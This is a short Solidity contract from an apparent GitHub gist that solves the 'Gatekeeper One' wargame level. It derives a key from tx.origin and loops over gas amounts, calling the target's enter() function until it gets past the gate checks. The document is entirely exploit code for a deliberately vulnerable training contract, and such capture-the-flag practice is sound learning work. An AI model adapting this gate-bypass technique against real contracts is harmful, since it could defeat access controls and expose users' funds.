GateKeeperOneAttack

gistfile1.txt

pragma solidity ^0.6.6;

import './GateKeeperOne.sol';

import "https://github.com/OpenZeppelin/zeppelin-solidity/contracts/math/SafeMath.sol";

contract GateKeeperOneAttack {
    using SafeMath for uint256;
    bytes8 key;
    GatekeeperOne gateKeeper;
    
    constructor(address _targetAddr) public {
        uint16 txOrigin16 = uint16(tx.origin);
        key = bytes8(uint64(txOrigin16) + 2 ** 32);
        gateKeeper = GatekeeperOne(_targetAddr);
    }
    
    function letMeIn() public {
        bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"), key);
        
        for (uint256 i = 0; i < 120; i++) {
            (bool result, bytes memory data) = address(gateKeeper).call.gas(
                i + 150 + 8191 * 3
            )(encodedParams);
            
            if(result) { break; }
        }
    }
}